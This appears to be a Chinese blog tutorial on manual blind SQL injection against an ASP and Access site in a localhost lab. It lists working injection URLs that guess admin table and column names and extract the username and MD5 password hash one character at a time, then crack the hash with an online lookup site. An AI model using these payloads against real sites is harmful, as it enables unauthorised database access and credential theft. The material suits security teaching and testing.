SQL注入access数据库

首先是sql注入产生的条件:

 

1.参数的传递

 

2.参数值可以带入到数据库

 


我这里是本地搭建的环境,接另外一种方法注入
手工注入值半猜解

第一步 判断是否可以注入

URL:http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139

and 1=1 返回正常
and 1=2 返回不正常

第二步 猜解数据库表名
语句
and exists (select * from 表名)

这里的表名,可以替换成常用的表,

常用的表名

 

admin、a_admin、x_admin、m_admin、adminuser、adminstrator...

 


如果存在那么返回就是正常的,不存在返回就是错误的,运气好的,一次性就爆出来了

第三步 猜解字段
语句
and exists (select 字段名 from 表名)

这里猜解了两个字段名
and exists(select admin from admin)
and exists(select password from admin)

第四步 判断字段长度
语句
and (select top 1 len(字段) from 表名)>0

用来测试的语句
and (select top 1 len(admin) from admin)>0         
and (select top 1 len(password) from admin)>0
 

 

 

这里判断的 admin 长度为5

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 len(password) from admin)=16
下面判断password长度为16,这里就不上图了,大家自行检测

第五步 折中猜ASCII码
这里简单说下 ASCII码 65~90为26个大写英文字母,97~122号为26个小写英文字母

语句
and (select top 1 asc(mid(字段,1,1)) from 表名)>0    

首先猜 admin的吧 
第一位
and (select top 1 asc(mid(admin,1,2)) from admin)>50 错了
and (select top 1 asc(mid(admin,1,2)) from admin)<100 对了

那么就在这个中间  我们继续 更改一下 慢慢的猜出来是 97

 

 

第二位是 100

 

 

这里下面就不放图了, 我们就直接上结果了

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,1,1)) from admin)=97
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,2,1)) from admin)=100
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,3,1)) from admin)=109
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,4,1)) from admin)=105
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,5,1)) from admin)=110

用户名的ASCII码是 97,100,109,105,110 

下面继续猜密码的ASCII码
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,1,1)) from admin)=97
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,2,1)) from admin)=52
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,3,1)) from admin)=56
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,4,1)) from admin)=101
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,5,1)) from admin)=49
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,6,1)) from admin)=57
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,7,1)) from admin)=48
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,8,1)) from admin)=102
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,9,1)) from admin)=97
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,10,1)) from admin)=102
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,11,1)) from admin)=99
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,12,1)) from admin)=50
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,13,1)) from admin)=53
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,14,1)) from admin)=55
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,15,1)) from admin)=100
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,16,1)) from admin)=51

密码的ASCII码就是

97,52,56,101,49,57,48,102,97,102,99,50,53,55,100,51

这时候我们可以对应ASCII码表挨个转换过去 也可以用小葵转换工具
 


也有在线转换工具, 直接输入到ASCII码 挨个提交 转换结果就好了

我这里转换出来
用户名:admin
密码:a48e190fafc257d3

密码是一个MD5加密 老规矩,我们扔到MD5解密的网站 解密
md5解密:https://www.cmd5.com/

解开的密码是 bendss

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值